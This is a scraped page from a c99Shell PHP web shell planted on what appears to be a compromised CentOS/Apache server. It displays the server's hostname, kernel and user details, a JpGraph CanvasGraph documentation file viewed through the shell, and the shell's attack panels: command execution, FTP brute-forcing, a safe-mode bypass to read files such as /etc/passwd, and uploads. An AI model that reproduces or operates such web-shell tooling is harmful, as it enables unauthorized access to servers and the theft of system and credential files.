!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/jpgraph/docs/ref/   drwxr-xr-x
Free 50.91 GB of 127.8 GB (39.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     CanvasGraph.html (10.96 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

CLASS CanvasGraph EXTENDS Graph
(Defined in: jpgraph_canvas.php : 21)
 CanvasGraph  Graph 
 CanvasGraph() 
 InitFrame() 
 Stroke() 
 Add() 
 AddBand() 
 AddLine() 
 AddText() 
 AddY() 
 AddY2() 
 AdjBackgroundImage() 
 AdjImage() 
 CheckCSIMCache() 
 GetHTMLImageMap() 
 Graph() 
 Set3DPerspective() 
 Set90AndMargin() 
 SetAlphaBlending() 
 SetAngle() 
 SetAxisStyle() 
 SetBackgroundCFlag() 
 SetBackgroundCountryFlag() 
 SetBackgroundGradient() 
 SetBackgroundImage() 
 SetBackgroundImageMix() 
 SetBox() 
 SetClipping() 
 SetColor() 
 SetFrame() 
 SetFrameBevel() 
 SetGridDepth() 
 SetIconDepth() 
 SetMargin() 
 SetMarginColor() 
 SetScale() 
 SetShadow() 
 SetTickDensity() 
 SetTitleBackground() 
 SetTitleBackgroundFillStyle() 
 SetY2OrderBack() 
 SetY2Scale() 
 SetYDeltaDist() 
 SetYScale() 
Stroke() 
 StrokeCSIM() 
 StrokeFrameBackground() 
 

Class usage and Overview
If you for some reason just want plain canvas to draw on using the direct drawing method you can create a new canvas with this class.

The canvas is meant to be manipulated through the Image class which can be found as an instance variable ($graph->img) in the canvas class.

Please remeber taht using the drawing methods in the Image class assumes screen (pixels) coordinates.

 

See also related classes:
Graph

 


Class Methods

 

 

Construct a new Cnavas graph

ArgumentDefaultDescription
$aWidth 300 Width of graph
$aHeight 200 Height of graph
$aCachedName "" Cache file name
$timeout 0 Cache timeout
$inline 1 Inline or not

Description
See Graph::Graph() for description, this method is identical. 
 
See also
Graph::Graph

Example

// Create a new canvas and draw a line from top left to
// bottom right
$canvas = new CanvasGraph(300,200);
$canvas->img->SetColor('black*);
$canvas->img->Line(0,0,300,200);
$canvas->Stroke();

 

 

Strokes plot area and margin


Description
Calling this method will fill the margin (with the margin color) and fill the plot area with the plot color. You should call this method before stroking anything else to the canvas as otherwise what you have stroken will be overwritten. 

Example

// Setup a basic canvas we can work
$g = new CanvasGraph(400,200,'auto');
$g->SetMargin(5,11,6,11);
$g->SetShadow();
$g->SetMarginColor("teal");

// We need to stroke the plotarea and margin before we add the
// text since we otherwise would overwrite the text.
$g->InitFrame();

// Draw a text box in the middle
$txt="This\nis\na TEXT!!!";
$t = new Text($txt,200,10);
$t->SetFont(FF_ARIAL,FS_BOLD,40);

// Stroke the text
$t->Stroke($g->img);

// Stroke the graph
$g->Stroke();

 

 

Stroke graph to browser or file

ArgumentDefaultDescription
$aStrokeFileName "" Filename to stroke to

Description
Stroke a file to browser or file. See Graph::Stroke() for more details. 
 
See also
Graph::Stroke

Example

$canvas->Stroke();



:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0153 ]--